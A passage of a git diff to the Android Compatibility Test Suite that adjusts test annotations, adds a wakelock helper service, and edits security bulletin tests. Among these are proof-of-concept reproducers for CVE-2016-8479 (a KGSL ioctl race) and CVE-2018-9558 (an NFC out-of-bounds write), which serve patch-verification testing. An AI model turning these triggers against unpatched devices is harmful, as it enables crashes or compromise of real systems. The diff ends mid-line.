super.testPermissionAppUpdate(); } @Override @Test - @TemporarilyIgnoreOnHeadlessSystemUserMode(bugId = "184197972", reason = "Not clear if test " - + "makes sense as keys generated by DO wouldn't match keys checked by PO") - public void testDelegatedCertInstallerDirectly() throws Exception { - super.testDelegatedCertInstallerDirectly(); + @IgnoreOnHeadlessSystemUserMode(reason = "Headless system user doesn't launch activities") + public void testPermissionMixedPolicies() throws Exception { + super.testPermissionMixedPolicies(); } @Override @Test - @TemporarilyIgnoreOnHeadlessSystemUserMode(bugId = "184197972", reason = "Not clear if test " - + "makes sense as keys generated by DO wouldn't match keys checked by PO") - public void testSetKeyGrant() throws Exception { - super.testSetKeyGrant(); + @IgnoreOnHeadlessSystemUserMode(reason = "Headless system user doesn't launch activities") + public void testPermissionPolicy() throws Exception { + super.testPermissionPolicy(); } @Override @Test - @TemporarilyIgnoreOnHeadlessSystemUserMode(bugId = "184197972", reason = "Not clear if test " - + "makes sense as keys generated by DO wouldn't match keys checked by PO") - public void testSetKeyPairCertificateLogged() throws Exception { - super.testSetKeyPairCertificateLogged(); + @IgnoreOnHeadlessSystemUserMode(reason = "Headless system user doesn't launch activities") + public void testAutoGrantMultiplePermissionsInGroup() throws Exception { + super.testAutoGrantMultiplePermissionsInGroup(); } @Override @Test - @IgnoreOnHeadlessSystemUserMode(reason = "Headless system user doesn't have UI / credentials") - public void testSetKeyguardDisabledFeatures() throws Exception { - super.testSetKeyguardDisabledFeatures(); + @IgnoreOnHeadlessSystemUserMode(reason = "Headless system user doesn't launch activities") + public void testPermissionGrantOfDisallowedPermissionWhileOtherPermIsGranted() + throws Exception { + super.testPermissionGrantOfDisallowedPermissionWhileOtherPermIsGranted(); } @Override diff --git a/hostsidetests/incident/src/com/android/server/cts/IncidentdTest.java b/hostsidetests/incident/src/com/android/server/cts/IncidentdTest.java index a7560049aea..e959abdc636 100644 --- a/hostsidetests/incident/src/com/android/server/cts/IncidentdTest.java +++ b/hostsidetests/incident/src/com/android/server/cts/IncidentdTest.java @@ -45,8 +45,6 @@ public class IncidentdTest extends ProtoDumpTestCase { DiskStatsProtoTest.verifyDiskStatsServiceDumpProto(dump.getDiskstats(), filterLevel, getDevice()); - PackageIncidentTest.verifyPackageServiceDumpProto(dump.getPackage(), filterLevel); - PowerIncidentTest.verifyPowerManagerServiceDumpProto(dump.getPower(), filterLevel); if (PrintProtoTest.supportsPrinting(getDevice())) { diff --git a/hostsidetests/incident/src/com/android/server/cts/PackageIncidentTest.java b/hostsidetests/incident/src/com/android/server/cts/PackageIncidentTest.java deleted file mode 100644 index 66137c12f2a..00000000000 --- a/hostsidetests/incident/src/com/android/server/cts/PackageIncidentTest.java +++ /dev/null @@ -1,124 +0,0 @@ -/* - * Copyright (C) 2017 The Android Open Source Project - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ -package com.android.server.cts; - -import android.service.pm.PackageProto; -import android.service.pm.PackageProto.UserInfoProto; -import android.service.pm.PackageServiceDumpProto; - -import java.util.regex.Matcher; -import java.util.regex.Pattern; - -/** Test for "dumpsys package --proto" */ -public class PackageIncidentTest extends ProtoDumpTestCase { - // Use the test apk from the BatteryStatsIncidentTest - private static final String DEVICE_SIDE_TEST_APK = "CtsBatteryStatsApp.apk"; - private static final String DEVICE_SIDE_TEST_PACKAGE = "com.android.server.cts.device.batterystats"; - - @Override - protected void tearDown() throws Exception { - getDevice().uninstallPackage(DEVICE_SIDE_TEST_PACKAGE); - - super.tearDown(); - } - - private static void assertPositive(String name, long value) { - if (value > 0) return; - fail(name + " expected to be positive, but was: " + value); - } - - private static void assertNotNegative(String name, long value) { - if (value >= 0) return; - fail(name + " expected to be zero or positive, but was: " + value); - } - - /** Parse the output of "dumpsys package --proto" and make sure the values are probable. */ - public void testPackageServiceDump() throws Exception { - final long st = System.currentTimeMillis(); - - installPackage(DEVICE_SIDE_TEST_APK, /* grantPermissions= */ true); - - // Find the package UID, version code, and version string. - final Matcher matcher = - execCommandAndFind( - "dumpsys package " + DEVICE_SIDE_TEST_PACKAGE, - "userId=(\\d+).*versionCode=(\\d+).*versionName=([^\\n]*)", - Pattern.DOTALL); - final int uid = Integer.parseInt(matcher.group(1)); - final int versionCode = Integer.parseInt(matcher.group(2)); - final String versionString = matcher.group(3).trim(); - - final PackageServiceDumpProto dump = - getDump(PackageServiceDumpProto.parser(), "dumpsys package --proto"); - - PackageProto testPackage = null; - for (PackageProto pkg : dump.getPackagesList()) { - if (pkg.getName().equals(DEVICE_SIDE_TEST_PACKAGE)) { - testPackage = pkg; - break; - } - } - - assertNotNull(testPackage); - assertEquals(testPackage.getName(), DEVICE_SIDE_TEST_PACKAGE); - assertEquals(testPackage.getUid(), uid); - assertEquals(testPackage.getVersionCode(), versionCode); - assertEquals(testPackage.getVersionString(), versionString); - assertPositive("install_time_ms", testPackage.getInstallTimeMs()); - assertEquals(testPackage.getInstallTimeMs(), testPackage.getUpdateTimeMs()); - assertEquals(testPackage.getSplits(0).getName(), "base"); - assertEquals(testPackage.getSplits(0).getRevisionCode(), 0); - assertNotNull(testPackage.getUserPermissionsList()); - - UserInfoProto testUser = testPackage.getUsers(0); - assertEquals(testUser.getId(), 0); - assertEquals(testUser.getInstallType(), - PackageProto.UserInfoProto.InstallType.FULL_APP_INSTALL); - assertFalse(testUser.getIsHidden()); - assertFalse(testUser.getIsLaunched()); - assertFalse(testUser.getEnabledState() == PackageProto.UserInfoProto - .EnabledState.COMPONENT_ENABLED_STATE_DISABLED_USER); - - verifyPackageServiceDumpProto(dump, PRIVACY_NONE); - } - - static void verifyPackageServiceDumpProto(PackageServiceDumpProto dump, final int filterLevel) throws Exception { - assertNotNull(dump.getVerifierPackage().getName()); - assertNotNull(dump.getSharedLibraries(0).getName()); - if (dump.getSharedLibraries(0).getIsJar()) { - assertNotNull(dump.getSharedLibraries(0).getPath()); - } else { - assertNotNull(dump.getSharedLibraries(0).getApk()); - } - assertNotNull(dump.getFeatures(0).getName()); - - PackageServiceDumpProto.SharedUserProto systemUser = null; - for (PackageServiceDumpProto.SharedUserProto user : dump.getSharedUsersList()) { - if (user.getUid() == 1000) { - systemUser = user; - break; - } - } - assertNotNull(systemUser); - assertEquals("android.uid.system", systemUser.getName()); - - if (filterLevel == PRIVACY_AUTO) { - for (String msg : dump.getMessagesList()) { - assertTrue(msg.isEmpty()); - } - } - } -} diff --git a/hostsidetests/inputmethodservice/common/src/android/inputmethodservice/cts/common/test/ShellCommandUtils.java b/hostsidetests/inputmethodservice/common/src/android/inputmethodservice/cts/common/test/ShellCommandUtils.java index afaa9c8096a..6423affd9a7 100644 --- a/hostsidetests/inputmethodservice/common/src/android/inputmethodservice/cts/common/test/ShellCommandUtils.java +++ b/hostsidetests/inputmethodservice/common/src/android/inputmethodservice/cts/common/test/ShellCommandUtils.java @@ -29,6 +29,8 @@ public final class ShellCommandUtils { // Copied from android.content.pm.PackageManager#FEATURE_INPUT_METHODS. public static final String FEATURE_INPUT_METHODS = "android.software.input_methods"; + public static final String FEATURE_TV_OPERATOR_TIER = "com.google.android.tv.operator_tier"; + private static final String SETTING_DEFAULT_IME = "secure default_input_method"; /** Command to get ID of current IME. */ diff --git a/hostsidetests/inputmethodservice/hostside/AndroidTest.xml b/hostsidetests/inputmethodservice/hostside/AndroidTest.xml index 7c8132a1f5e..64546243cbf 100644 --- a/hostsidetests/inputmethodservice/hostside/AndroidTest.xml +++ b/hostsidetests/inputmethodservice/hostside/AndroidTest.xml @@ -18,6 +18,7 @@ <configuration description="Config for CTS Input Method Service host test cases"> <option name="test-suite-tag" value="cts" /> <option name="config-descriptor:metadata" key="component" value="inputmethod" /> + <option name="config-descriptor:metadata" key="parameter" value="all_foldable_states" /> <option name="config-descriptor:metadata" key="parameter" value="instant_app" /> <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" /> <option name="config-descriptor:metadata" key="parameter" value="secondary_user" /> diff --git a/hostsidetests/inputmethodservice/hostside/src/android/inputmethodservice/cts/hostside/InputMethodServiceLifecycleTest.java b/hostsidetests/inputmethodservice/hostside/src/android/inputmethodservice/cts/hostside/InputMethodServiceLifecycleTest.java index 4064ff5f158..b70eaa5a074 100644 --- a/hostsidetests/inputmethodservice/hostside/src/android/inputmethodservice/cts/hostside/InputMethodServiceLifecycleTest.java +++ b/hostsidetests/inputmethodservice/hostside/src/android/inputmethodservice/cts/hostside/InputMethodServiceLifecycleTest.java @@ -24,6 +24,7 @@ import static android.inputmethodservice.cts.common.DeviceEventConstants.EXTRA_E import static android.inputmethodservice.cts.common.DeviceEventConstants.RECEIVER_COMPONENT; import static org.junit.Assert.assertTrue; +import static org.junit.Assume.assumeFalse; import static org.junit.Assume.assumeTrue; import android.inputmethodservice.cts.common.ComponentNameUtils; @@ -460,6 +461,9 @@ public class InputMethodServiceLifecycleTest extends BaseHostJUnit4Test { private void testImeSwitchingWithoutWindowFocusAfterDisplayOffOn(boolean instant) throws Exception { + // Skip whole tests when DUT has com.google.android.tv.operator_tier feature. + // TODO(b/222687343): Remove this limitation in the future. + assumeFalse(hasDeviceFeature(ShellCommandUtils.FEATURE_TV_OPERATOR_TIER)); sendTestStartEvent( DeviceTestConstants.TEST_IME_SWITCHING_WITHOUT_WINDOW_FOCUS_AFTER_DISPLAY_OFF_ON); installPossibleInstantPackage( diff --git a/hostsidetests/os/src/android/os/cts/InattentiveSleepTests.java b/hostsidetests/os/src/android/os/cts/InattentiveSleepTests.java index e117d148d6b..1e04774c599 100644 --- a/hostsidetests/os/src/android/os/cts/InattentiveSleepTests.java +++ b/hostsidetests/os/src/android/os/cts/InattentiveSleepTests.java @@ -40,15 +40,20 @@ import org.junit.runner.RunWith; @RunWith(DeviceJUnit4ClassRunner.class) public class InattentiveSleepTests extends BaseHostJUnit4Test { private static final String FEATURE_LEANBACK_ONLY = "android.software.leanback_only"; - private static final String PACKAGE_NAME = "android.os.inattentivesleeptests"; private static final String APK_NAME = "CtsInattentiveSleepTestApp.apk"; private static final long TIME_BEFORE_WARNING_MS = 1200L; private static final String CMD_DUMPSYS_POWER = "dumpsys power --proto"; private static final String WARNING_WINDOW_TOKEN_TITLE = "InattentiveSleepWarning"; - private static final String CMD_START_APP_TEMPLATE = - "am start -W -a android.intent.action.MAIN -p %s -c android.intent.category.LAUNCHER"; + private static final String ACTIVITY_KEEP_SCREEN_ON = ".KeepScreenOnActivity"; + private static final String SERVICE_PARTIAL_WAKE_LOCK = ".PartialWakeLockService"; + private static final String CMD_START_ACTIVITY_TEMPLATE = + "am start -W android.os.inattentivesleeptests/%s"; + private static final String CMD_START_FG_SERVICE_TEMPLATE = + "am start-foreground-service android.os.inattentivesleeptests/%s"; + private static final String CMD_STOP_SERVICE_TEMPLATE = + "am stop-service android.os.inattentivesleeptests/%s"; private static final String CMD_GET_STAY_ON = "settings get global stay_on_while_plugged_in"; private static final String CMD_PUT_STAY_ON_TEMPLATE = @@ -81,12 +86,20 @@ public class InattentiveSleepTests extends BaseHostJUnit4Test { mWarningDurationConfig = getWarningDurationConfig(); mOriginalStayOnSetting = Long.parseLong( mDevice.executeShellCommand(CMD_GET_STAY_ON).trim()); + + installPackage(APK_NAME); + + // Prevent the device from suspending while screen is off + startPartialWakeLockService(); + mDevice.executeShellCommand(CMD_DISABLE_STAY_ON); setInattentiveSleepTimeout(TIME_BEFORE_WARNING_MS + mWarningDurationConfig); } @After public void tearDown() throws Exception { + wakeUp(); + stopPartialWakeLockService(); mDevice.executeShellCommand( String.format(CMD_PUT_STAY_ON_TEMPLATE, mOriginalStayOnSetting)); mDevice.executeShellCommand(CMD_DELETE_TIMEOUT_SETTING); @@ -101,9 +114,19 @@ public class InattentiveSleepTests extends BaseHostJUnit4Test { mDevice.executeShellCommand(CMD_KEYEVENT_WAKEUP); } + private void startPartialWakeLockService() throws Exception { + mDevice.executeShellCommand( + String.format(CMD_START_FG_SERVICE_TEMPLATE, SERVICE_PARTIAL_WAKE_LOCK)); + } + + private void stopPartialWakeLockService() throws Exception { + mDevice.executeShellCommand( + String.format(CMD_STOP_SERVICE_TEMPLATE, SERVICE_PARTIAL_WAKE_LOCK)); + } + private void startKeepScreenOnActivity() throws Exception { - installPackage(APK_NAME); - mDevice.executeShellCommand(String.format(CMD_START_APP_TEMPLATE, PACKAGE_NAME)); + mDevice.executeShellCommand( + String.format(CMD_START_ACTIVITY_TEMPLATE, ACTIVITY_KEEP_SCREEN_ON)); } private void setInattentiveSleepTimeout(long timeoutMs) throws Exception { diff --git a/hostsidetests/os/test-apps/InattentiveSleepTestApp/AndroidManifest.xml b/hostsidetests/os/test-apps/InattentiveSleepTestApp/AndroidManifest.xml index 3588a1423de..5994c7f02dd 100755 --- a/hostsidetests/os/test-apps/InattentiveSleepTestApp/AndroidManifest.xml +++ b/hostsidetests/os/test-apps/InattentiveSleepTestApp/AndroidManifest.xml @@ -18,7 +18,11 @@ <manifest xmlns:android="http://schemas.android.com/apk/res/android" package="android.os.inattentivesleeptests" android:targetSandboxVersion="2"> + <uses-permission android:name="android.permission.WAKE_LOCK" /> + <uses-permission android:name="android.permission.FOREGROUND_SERVICE" /> <application> + <service android:name=".PartialWakeLockService" + android:exported="true" /> <activity android:name=".KeepScreenOnActivity" android:exported="true"> <intent-filter> diff --git a/hostsidetests/os/test-apps/InattentiveSleepTestApp/src/android/os/inattentivesleeptests/PartialWakeLockService.java b/hostsidetests/os/test-apps/InattentiveSleepTestApp/src/android/os/inattentivesleeptests/PartialWakeLockService.java new file mode 100644 index 00000000000..d64fa845fd4 --- /dev/null +++ b/hostsidetests/os/test-apps/InattentiveSleepTestApp/src/android/os/inattentivesleeptests/PartialWakeLockService.java @@ -0,0 +1,75 @@ +/* + * Copyright (C) 2021 The Android Open Source Project + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +package android.os.inattentivesleeptests; + +import static android.os.PowerManager.PARTIAL_WAKE_LOCK; + +import android.app.Notification; +import android.app.NotificationChannel; +import android.app.NotificationManager; +import android.app.Service; +import android.content.Intent; +import android.os.IBinder; +import android.os.PowerManager; + +/** Service that holds a partial wakelock until stopped */ +public class PartialWakeLockService extends Service { + private static final String TAG = "PartialWakeLockService"; + private static final String NOTIFICATION_CHANNEL_ID = "Inattentive Sleep Tests"; + + private PowerManager.WakeLock mWakeLock; + + @Override + public IBinder onBind(Intent intent) { + return null; + } + + @Override + public void onCreate() { + NotificationManager notificationManager = getSystemService(NotificationManager.class); + NotificationChannel channel = new NotificationChannel(NOTIFICATION_CHANNEL_ID, + NOTIFICATION_CHANNEL_ID, NotificationManager.IMPORTANCE_LOW); + notificationManager.createNotificationChannel(channel); + } + + @Override + public int onStartCommand(Intent intent, int flags, int startId) { + if (mWakeLock == null) { + PowerManager powerManager = getSystemService(PowerManager.class); + mWakeLock = powerManager.newWakeLock(PARTIAL_WAKE_LOCK, TAG); + mWakeLock.setReferenceCounted(false); + } + mWakeLock.acquire(); + + Notification notification = new Notification.Builder(this, NOTIFICATION_CHANNEL_ID) + .setContentTitle("Inattentive Sleep CTS Tests") + .setContentText("Keeping partial wakelock during the test") + .setSmallIcon(android.R.drawable.ic_secure) + .build(); + + startForeground(1, notification); + + return Service.START_NOT_STICKY; + } + + @Override + public void onDestroy() { + if (mWakeLock != null) { + mWakeLock.release(); + } + } +} diff --git a/hostsidetests/packagemanager/domainverification/apps/declaring/Android.bp b/hostsidetests/packagemanager/domainverification/apps/declaring/Android.bp index 94d712f811b..80caeb5e6f3 100644 --- a/hostsidetests/packagemanager/domainverification/apps/declaring/Android.bp +++ b/hostsidetests/packagemanager/domainverification/apps/declaring/Android.bp @@ -36,6 +36,7 @@ android_test_helper_app { "cts_defaults", "CtsDomainVerificationTestDeclaringAppDefaults", ], + min_sdk_version: "31", sdk_version: "test_current", aaptflags: ["--rename-manifest-package com.android.cts.packagemanager.verify.domain.declaringapp1"], } @@ -47,6 +48,7 @@ android_test_helper_app { "cts_defaults", "CtsDomainVerificationTestDeclaringAppDefaults", ], + min_sdk_version: "31", sdk_version: "test_current", aaptflags: ["--rename-manifest-package com.android.cts.packagemanager.verify.domain.declaringapp2"], } diff --git a/hostsidetests/packagemanager/domainverification/device/standalone/Android.bp b/hostsidetests/packagemanager/domainverification/device/standalone/Android.bp index 8990d8433a0..9f954492643 100644 --- a/hostsidetests/packagemanager/domainverification/device/standalone/Android.bp +++ b/hostsidetests/packagemanager/domainverification/device/standalone/Android.bp @@ -21,10 +21,11 @@ android_test { srcs: [ "src/**/*.kt" ], test_suites: [ "cts", + "gts", "device-tests", ], defaults: ["cts_defaults"], - sdk_version: "test_current", + min_sdk_version: "4", static_libs: [ "androidx.test.ext.junit", "androidx.test.rules", diff --git a/hostsidetests/packagemanager/domainverification/device/standalone/AndroidManifest.xml b/hostsidetests/packagemanager/domainverification/device/standalone/AndroidManifest.xml index fba5376a6f6..ce89e2b203b 100644 --- a/hostsidetests/packagemanager/domainverification/device/standalone/AndroidManifest.xml +++ b/hostsidetests/packagemanager/domainverification/device/standalone/AndroidManifest.xml @@ -15,8 +15,13 @@ --> <manifest xmlns:android="http://schemas.android.com/apk/res/android" - package="com.android.cts.packagemanager.verify.domain.device.standalone" - > + xmlns:tools="http://schemas.android.com/tools" + package="com.android.cts.packagemanager.verify.domain.device.standalone" + > + + <uses-sdk android:minSdkVersion="14" android:targetSdkVersion="17" + tools:overrideLibrary="com.android.cts.packagemanager.verify.domain.constants.android" + /> <application android:label="Device Test App" android:testOnly="true"> <uses-library android:name="android.test.runner" /> diff --git a/hostsidetests/packagemanager/domainverification/device/standalone/AndroidTest.xml b/hostsidetests/packagemanager/domainverification/device/standalone/AndroidTest.xml index 95b86f5d0b2..e7afa10cb7a 100644 --- a/hostsidetests/packagemanager/domainverification/device/standalone/AndroidTest.xml +++ b/hostsidetests/packagemanager/domainverification/device/standalone/AndroidTest.xml @@ -15,6 +15,7 @@ --> <configuration description="Config for CTS domain verification device standalone test cases"> <option name="test-suite-tag" value="cts" /> + <option name="test-suite-tag" value="gts" /> <option name="config-descriptor:metadata" key="component" value="framework" /> <option name="config-descriptor:metadata" key="parameter" value="multi_abi" /> <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" /> @@ -23,6 +24,7 @@ <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller"> <option name="cleanup-apks" value="true" /> + <option name="check-min-sdk" value="true" /> <option name="test-file-name" value="CtsDomainVerificationDeviceStandaloneTestCases.apk" /> <option name="test-file-name" value="CtsDomainVerificationTestDeclaringApp1.apk" /> <option name="test-file-name" value="CtsDomainVerificationTestDeclaringApp2.apk" /> diff --git a/hostsidetests/packagemanager/domainverification/device/standalone/src/com/android/cts/packagemanager/verify/domain/device/standalone/DomainVerificationIntentStandaloneTests.kt b/hostsidetests/packagemanager/domainverification/device/standalone/src/com/android/cts/packagemanager/verify/domain/device/standalone/DomainVerificationIntentStandaloneTests.kt index 1861010befe..9401443a276 100644 --- a/hostsidetests/packagemanager/domainverification/device/standalone/src/com/android/cts/packagemanager/verify/domain/device/standalone/DomainVerificationIntentStandaloneTests.kt +++ b/hostsidetests/packagemanager/domainverification/device/standalone/src/com/android/cts/packagemanager/verify/domain/device/standalone/DomainVerificationIntentStandaloneTests.kt @@ -17,6 +17,9 @@ package com.android.cts.packagemanager.verify.domain.device.standalone import android.content.pm.verify.domain.DomainVerificationUserState +import android.os.Build +import com.android.compatibility.common.util.ApiLevelUtil +import com.android.compatibility.common.util.CtsDownstreamingTest import com.android.compatibility.common.util.SystemUtil import com.android.cts.packagemanager.verify.domain.android.DomainUtils.DECLARING_PKG_1_COMPONENT import com.android.cts.packagemanager.verify.domain.android.DomainUtils.DECLARING_PKG_2_COMPONENT @@ -26,6 +29,8 @@ import com.android.cts.packagemanager.verify.domain.java.DomainUtils.DECLARING_P import com.android.cts.packagemanager.verify.domain.java.DomainUtils.DOMAIN_1 import com.android.cts.packagemanager.verify.domain.java.DomainUtils.DOMAIN_2 import com.google.common.truth.Truth.assertThat +import org.junit.Assume.assumeTrue +import org.junit.BeforeClass import org.junit.Test import org.junit.runner.RunWith import org.junit.runners.Parameterized @@ -33,6 +38,14 @@ import org.junit.runners.Parameterized @RunWith(Parameterized::class) class DomainVerificationIntentStandaloneTests : DomainVerificationIntentTestBase(DOMAIN_1) { + companion object { + @JvmStatic + @BeforeClass + fun assumeAtLeastS() { + assumeTrue(ApiLevelUtil.isAtLeast(Build.VERSION_CODES.S)) + } + } + @Test fun launchVerified() { setAppLinks(DECLARING_PKG_NAME_1, true, DOMAIN_1, DOMAIN_2) @@ -74,6 +87,7 @@ class DomainVerificationIntentStandaloneTests : DomainVerificationIntentTestBase assertResolvesTo(browsers) } + @CtsDownstreamingTest @Test fun launchSelectedPreservedOnUpdate() { setAppLinks(DECLARING_PKG_NAME_1, false, DOMAIN_1, DOMAIN_2) @@ -162,6 +176,7 @@ class DomainVerificationIntentStandaloneTests : DomainVerificationIntentTestBase assertResolvesTo(browsers) } + @CtsDownstreamingTest @Test fun disableHandlingWhenVerifiedPreservedOnUpdate() { setAppLinks(DECLARING_PKG_NAME_1, true, DOMAIN_1, DOMAIN_2) @@ -192,6 +207,7 @@ class DomainVerificationIntentStandaloneTests : DomainVerificationIntentTestBase assertResolvesTo(browsers) } + @CtsDownstreamingTest @Test fun disableHandlingWhenSelectedPreservedOnUpdate() { setAppLinksUserSelection(DECLARING_PKG_NAME_1, userId, true, DOMAIN_1, DOMAIN_2) diff --git a/hostsidetests/packagemanager/domainverification/lib/constants/android/Android.bp b/hostsidetests/packagemanager/domainverification/lib/constants/android/Android.bp index 5e92d18651b..874d299f348 100644 --- a/hostsidetests/packagemanager/domainverification/lib/constants/android/Android.bp +++ b/hostsidetests/packagemanager/domainverification/lib/constants/android/Android.bp @@ -20,6 +20,7 @@ android_library { name: "CtsDomainVerificationAndroidConstantsLibrary", defaults: ["cts_defaults"], srcs: ["src/**/*.kt"], + min_sdk_version: "31", static_libs: [ "androidx.test.ext.junit", "androidx.test.rules", diff --git a/hostsidetests/securitybulletin/Android.bp b/hostsidetests/securitybulletin/Android.bp index d3e6ea7c486..7770ebde437 100644 --- a/hostsidetests/securitybulletin/Android.bp +++ b/hostsidetests/securitybulletin/Android.bp @@ -29,9 +29,10 @@ java_test_host { ], // Must match the package name in CtsTestCaseList.mk libs: [ + "compatibility-host-util", "cts-tradefed", + "sts-host-util", "tradefed", - "compatibility-host-util", ], } diff --git a/hostsidetests/securitybulletin/res/cve_2020_0034.ivf b/hostsidetests/securitybulletin/res/cve_2020_0034.ivf Binary files differnew file mode 100644 index 00000000000..d03c2469bad --- /dev/null +++ b/hostsidetests/securitybulletin/res/cve_2020_0034.ivf diff --git a/hostsidetests/securitybulletin/res/cve_2021_0481.txt b/hostsidetests/securitybulletin/res/cve_2021_0481.txt deleted file mode 100644 index f8d64e2c564..00000000000 --- a/hostsidetests/securitybulletin/res/cve_2021_0481.txt +++ /dev/null @@ -1 +0,0 @@ -This is cve_2021-0481.txt diff --git a/hostsidetests/securitybulletin/res/cve_2021_39664 b/hostsidetests/securitybulletin/res/cve_2021_39664 Binary files differnew file mode 100644 index 00000000000..21f7d245d99 --- /dev/null +++ b/hostsidetests/securitybulletin/res/cve_2021_39664 diff --git a/hostsidetests/securitybulletin/res/cve_2021_39804.heif b/hostsidetests/securitybulletin/res/cve_2021_39804.heif Binary files differnew file mode 100644 index 00000000000..1f95af0a2f4 --- /dev/null +++ b/hostsidetests/securitybulletin/res/cve_2021_39804.heif diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2016-8479/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2016-8479/Android.bp index 326391e6f5e..11eb61eecae 100644 --- a/hostsidetests/securitybulletin/securityPatch/CVE-2016-8479/Android.bp +++ b/hostsidetests/securitybulletin/securityPatch/CVE-2016-8479/Android.bp @@ -39,6 +39,7 @@ cc_test { "-Wno-format-nonliteral", "-Wstrict-prototypes", "-Wmissing-prototypes", + "-Wno-unused-but-set-variable", "-Wno-unused-parameter", "-Wno-unused-variable", "-Wno-macro-redefined", diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2016-8479/poc.c b/hostsidetests/securitybulletin/securityPatch/CVE-2016-8479/poc.c index 5d4950ab4bb..78dcfcf1f3f 100644 --- a/hostsidetests/securitybulletin/securityPatch/CVE-2016-8479/poc.c +++ b/hostsidetests/securitybulletin/securityPatch/CVE-2016-8479/poc.c @@ -124,39 +124,36 @@ static int set_affinity(int num) { } void* child_ioctl_0(void* no_use) { - int ret = 1; time_t test_started = start_timer(); struct kgsl_drawctxt_destroy kdd = {0}; kdd.drawctxt_id = kgsl_id; set_affinity(1); while (timer_active(test_started)) { - ret = ioctl(fd, IOCTL_KGSL_DRAWCTXT_DESTROY, &kdd); + ioctl(fd, IOCTL_KGSL_DRAWCTXT_DESTROY, &kdd); } return NULL; } void* child_ioctl_1(void* no_use) { - int ret = 1; time_t test_started = start_timer(); struct kgsl_drawctxt_destroy kdd = {0}; kdd.drawctxt_id = kgsl_id; set_affinity(2); while (timer_active(test_started)) { - ret = ioctl(fd, IOCTL_KGSL_DRAWCTXT_DESTROY, &kdd); + ioctl(fd, IOCTL_KGSL_DRAWCTXT_DESTROY, &kdd); } return NULL; } void* child_ioctl_2(void* no_use) { - int ret = 1; time_t test_started = start_timer(); struct kgsl_drawctxt_create kdc = {0, 0}; kdc.flags = KGSL_CONTEXT_PREAMBLE | KGSL_CONTEXT_NO_GMEM_ALLOC; set_affinity(3); while (timer_active(test_started)) { - ret = ioctl(fd, IOCTL_KGSL_DRAWCTXT_CREATE, &kdc); + ioctl(fd, IOCTL_KGSL_DRAWCTXT_CREATE, &kdc); kgsl_id = kdc.drawctxt_id; } return NULL; @@ -166,8 +163,8 @@ int main() { int i, ret; time_t test_started = start_timer(); struct kgsl_drawctxt_create kdc = {0, 0}; - kdc.flags = KGSL_CONTEXT_PREAMBLE | KGSL_CONTEXT_NO_GMEM_ALLOC; struct kgsl_drawctxt_destroy kdd = {0}; + kdc.flags = KGSL_CONTEXT_PREAMBLE | KGSL_CONTEXT_NO_GMEM_ALLOC; /* bind_cpu */ set_affinity(0); diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2018-9558/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2018-9558/poc.cpp index e20c0f222d0..8494e2c422d 100644 --- a/hostsidetests/securitybulletin/securityPatch/CVE-2018-9558/poc.cpp +++ b/hostsidetests/securitybulletin/securityPatch/CVE-2018-9558/poc.cpp @@ -1,5 +1,5 @@ /* - * Copyright (C) 2021 The Android Open Source Project + * Copyright (C) 2022 The Android Open Source Project * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. @@ -23,6 +23,16 @@ #define INITIAL_VALUE 0xBE #define NUM_BYTES 1 +bool isTestInProgress = false; +struct sigaction new_action, old_action; +void sigabrt_handler(int signum, siginfo_t *info, void *context) { + if (isTestInProgress && info->si_signo == SIGABRT) { + (*old_action.sa_sigaction)(signum, info, context); + return; + } + exit(EXIT_FAILURE); +} + extern tRW_CB rw_cb; void rw_init(void); void rw_t2t_handle_rsp(uint8_t *p_data); @@ -33,18 +43,32 @@ void poc_cback(tRW_EVENT event, tRW_DATA *p_rw_data) { } int main() { - tRW_T2T_CB *p_t2t = &rw_cb.tcb.t2t; - rw_init(); - rw_cb.p_cback = &poc_cback; - p_t2t->state = RW_T2T_STATE_DETECT_TLV; - p_t2t->tlv_detect = TAG_LOCK_CTRL_TLV; - p_t2t->substate = RW_T2T_SUBSTATE_WAIT_READ_TLV_VALUE; - p_t2t->found_tlv = TAG_LOCK_CTRL_TLV; - p_t2t->bytes_count = NUM_BYTES; - p_t2t->tlv_value[1] = UINT8_MAX; - uint8_t *base_ptr = (uint8_t *)(p_t2t->lockbyte + RW_T1T_MAX_LOCK_BYTES); - memset((void *)base_ptr, INITIAL_VALUE, sizeof(tRW_T1T_LOCK)); - uint8_t data[T2T_READ_DATA_LEN]; - rw_t2t_handle_rsp(data); - return EXIT_SUCCESS; + sigemptyset(&new_action.sa_mask); + new_action.sa_flags = SA_SIGINFO; + new_action.sa_sigaction = sigabrt_handler; + sigaction(SIGABRT, &new_action, &old_action); + + tNFC_ACTIVATE_DEVT p_activate_params = {}; + p_activate_params.protocol = NFC_PROTOCOL_ISO_DEP; + p_activate_params.rf_tech_param.mode = NFC_DISCOVERY_TYPE_POLL_A; + RW_SetActivatedTagType(&p_activate_params, &poc_cback); + FAIL_CHECK(rw_cb.p_cback == &poc_cback); + + tRW_T2T_CB *p_t2t = &rw_cb.tcb.t2t; + rw_init(); + rw_cb.p_cback = &poc_cback; + p_t2t->state = RW_T2T_STATE_DETECT_TLV; + p_t2t->tlv_detect = TAG_LOCK_CTRL_TLV; + p_t2t->substate = RW_T2T_SUBSTATE_WAIT_READ_TLV_VALUE; + p_t2t->found_tlv = TAG_LOCK_CTRL_TLV; + p_t2t->bytes_count = NUM_BYTES; + p_t2t->tlv_value[1] = UINT8_MAX; + p_t2t->p_cur_cmd_buf = (NFC_HDR 